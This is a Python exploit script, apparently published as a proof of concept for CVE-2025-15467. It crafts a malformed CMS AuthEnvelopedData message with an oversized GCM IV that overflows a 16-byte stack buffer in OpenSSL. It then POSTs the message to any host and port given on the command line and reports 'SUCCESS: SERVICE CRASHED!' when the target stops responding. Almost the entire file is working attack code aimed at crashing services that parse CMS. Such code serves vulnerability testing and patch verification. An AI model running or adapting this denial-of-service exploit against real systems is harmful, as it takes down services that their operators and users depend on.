README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-15467 Denial of Service Exploit
Sends malformed CMS AuthEnvelopedData with oversized IV to crash
vulnerable OpenSSL services.
Target must be a service that parses CMS/PKCS#7 content (e.g., S/MIME gateway,
our vulnerable test service, etc.)
Usage:
python3 cve_2025_15467_dos.py <host> <port> [--endpoint /cms]
Exit codes:
0 - Target crashed (DoS successful)
1 - Target did not crash
2 - Connection error
"""
import argparse
import socket
import sys
import time
def encode_length(length: int) -> bytes:
"""Encode ASN.1 DER length."""
if length < 128:
return bytes([length])
elif length < 256:
return bytes([0x81, length])
elif length < 65536:
return bytes([0x82, (length >> 8) & 0xff, length & 0xff])
else:
return bytes([0x83, (length >> 16) & 0xff, (length >> 8) & 0xff, length & 0xff])
def encode_tlv(tag: int, value: bytes) -> bytes:
"""Encode ASN.1 TLV."""
return bytes([tag]) + encode_length(len(value)) + value
def encode_integer(value: int) -> bytes:
"""Encode ASN.1 INTEGER."""
if value == 0:
return encode_tlv(0x02, b'\x00')
result = []
temp = value
while temp:
result.append(temp & 0xff)
temp >>= 8
result.reverse()
if result[0] & 0x80:
result.insert(0, 0)
return encode_tlv(0x02, bytes(result))
def encode_octet_string(data: bytes) -> bytes:
"""Encode ASN.1 OCTET STRING."""
return encode_tlv(0x04, data)
def encode_sequence(contents: bytes) -> bytes:
"""Encode ASN.1 SEQUENCE."""
return encode_tlv(0x30, contents)
def encode_oid(oid: str) -> bytes:
"""Encode ASN.1 OID."""
parts = [int(x) for x in oid.split('.')]
result = [parts[0] * 40 + parts[1]]
for part in parts[2:]:
if part == 0:
result.append(0)
else:
encoded = []
temp = part
while temp:
encoded.append(temp & 0x7f)
temp >>= 7
encoded.reverse()
for i in range(len(encoded) - 1):
encoded[i] |= 0x80
result.extend(encoded)
return encode_tlv(0x06, bytes(result))
def create_dos_payload(iv_size: int = 512) -> bytes:
"""
Create malformed CMS AuthEnvelopedData that triggers stack buffer overflow.
The vulnerability is in evp_cipher_get_asn1_aead_params() which copies
the IV from GCMParameters into a 16-byte stack buffer without bounds checking.
"""
OID_AUTHENVELOPED = "1.2.840.113549.1.9.16.1.23"
OID_AES_256_GCM = "2.16.840.1.101.3.4.1.46"
OID_DATA = "1.2.840.113549.1.7.1"
OID_RSA = "1.2.840.113549.1.1.1"
# PAYLOAD: Oversized IV causes stack buffer overflow
# EVP_MAX_IV_LENGTH is 16, we send much more
overflow_iv = b'A' * iv_size
# GCMParameters ::= SEQUENCE { nonce OCTET STRING, icvlen INTEGER }
gcm_params = encode_sequence(
encode_octet_string(overflow_iv) +
encode_integer(16)
)
# ContentEncryptionAlgorithmIdentifier
content_enc_alg = encode_sequence(
encode_oid(OID_AES_256_GCM) +
gcm_params
)
# Dummy encrypted content
encrypted_content = b'\x00' * 32
# EncryptedContentInfo
encrypted_content_info = encode_sequence(
encode_oid(OID_DATA) +
content_enc_alg +
encode_tlv(0x80, encrypted_content)
)
# Minimal RecipientInfo
issuer_serial = encode_sequence(
encode_sequence(b'') +
encode_integer(1)
)
key_trans = encode_sequence(
encode_integer(0) +
issuer_serial +
encode_sequence(encode_oid(OID_RSA) + encode_tlv(0x05, b'')) +
encode_octet_string(b'\x00' * 256)
)
recipient_infos = encode_tlv(0x31, key_trans)
# MAC
mac = encode_octet_string(b'\x00' * 16)
# AuthEnvelopedData
auth_env_data = encode_sequence(
encode_integer(0) +
recipient_infos +
encrypted_content_info +
mac
)
# ContentInfo
content_info = encode_sequence(
encode_oid(OID_AUTHENVELOPED) +
encode_tlv(0xA0, auth_env_data)
)
return content_info
def send_http_payload(host: str, port: int, endpoint: str, payload: bytes,
timeout: float = 10.0) -> dict:
"""Send payload via HTTP POST."""
result = {
'connected': False,
'sent': False,
'response': None,
'crashed': False,
'error': None
}
try:
sock = socket.create_connection((host, port), timeout=timeout)
result['connected'] = True
# Build HTTP request
request = (
f"POST {endpoint} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/cms\r\n"
f"Content-Length: {len(payload)}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode() + payload
sock.send(request)
result['sent'] = True
# Try to read response
sock.settimeout(5.0)
try:
response = sock.recv(4096)
result['response'] = response.decode('utf-8', errors='ignore')
except socket.timeout:
result['crashed'] = True
result['error'] = "Server timeout (likely crashed)"
except ConnectionResetError:
result['crashed'] = True
result['error'] = "Connection reset by peer (server crashed)"
except BrokenPipeError:
result['crashed'] = True
result['error'] = "Broken pipe (server crashed)"
sock.close()
except ConnectionRefusedError:
result['error'] = "Connection refused"
except socket.timeout:
result['error'] = "Connection timeout"
except Exception as e:
result['error'] = str(e)
return result
def verify_service_down(host: str, port: int, timeout: float = 3.0) -> bool:
"""Check if service is still responding."""
try:
sock = socket.create_connection((host, port), timeout=timeout)
sock.send(b"GET /health HTTP/1.1\r\nHost: x\r\n\r\n")
sock.settimeout(2.0)
response = sock.recv(1024)
sock.close()
return False # Service is up
except:
return True # Service is down
def main():
parser = argparse.ArgumentParser(
description='CVE-2025-15467 DoS Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s 192.168.1.100 8080
%(prog)s localhost 8080 --endpoint /parse-cms
%(prog)s target.local 8080 --iv-size 1024
Target Requirements:
The target service must parse CMS/PKCS#7 content. Use the
vulnerable_cms_service for testing.
"""
)
parser.add_argument('host', help='Target host')
parser.add_argument('port', type=int, help='Target port')
parser.add_argument('--endpoint', default='/cms', help='HTTP endpoint (default: /cms)')
parser.add_argument('--iv-size', type=int, default=512, help='Overflow IV size (default: 512)')
parser.add_argument('--timeout', type=float, default=10.0, help='Timeout in seconds')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
args = parser.parse_args()
print("=" * 60)
print("CVE-2025-15467 Denial of Service Exploit")
print("Stack Buffer Overflow in CMS AuthEnvelopedData")
print("=" * 60)
print()
print(f"Target: {args.host}:{args.port}")
print(f"Endpoint: {args.endpoint}")
print(f"IV Size: {args.iv_size} bytes (buffer is 16 bytes)")
print()
# Create payload
print("[*] Creating malformed CMS payload...")
payload = create_dos_payload(args.iv_size)
print(f"[*] Payload size: {len(payload)} bytes")
if args.verbose:
print(f"[*] Payload hex (first 64 bytes): {payload[:64].hex()}")
# Check if service is up first
print("[*] Checking if service is responding...")
if verify_service_down(args.host, args.port):
print("[-] Service is not responding. Is it running?")
return 2
print("[+] Service is up")
print()
# Send exploit
print("[*] Sending malformed CMS to trigger overflow...")
result = send_http_payload(args.host, args.port, args.endpoint, payload, args.timeout)
if not result['connected']:
print(f"[-] Failed to connect: {result['error']}")
return 2
if not result['sent']:
print(f"[-] Failed to send payload: {result['error']}")
return 2
print("[*] Payload sent")
if result['crashed']:
print(f"[+] {result['error']}")
elif result['response']:
if args.verbose:
print(f"[*] Response: {result['response'][:200]}")
if '200' in result['response']:
print("[*] Server returned 200 - checking if still alive...")
elif '400' in result['response'] or '500' in result['response']:
print("[*] Server returned error - checking if still alive...")
# Verify service crashed
print()
print("[*] Verifying service status...")
time.sleep(1)
if verify_service_down(args.host, args.port):
print()
print("=" * 60)
print("[+] SUCCESS: SERVICE CRASHED!")
print("=" * 60)
print()
print("The service is no longer responding.")
print("CVE-2025-15467 DoS confirmed.")
return 0
else:
print()
print("=" * 60)
print("[-] Service is still responding")
print("=" * 60)
print()
print("Possible reasons:")
print(" - Service may be patched")
print(" - Endpoint may not parse CMS")
print(" - Service may have crash recovery")
return 1
if __name__ == '__main__':
sys.exit(main())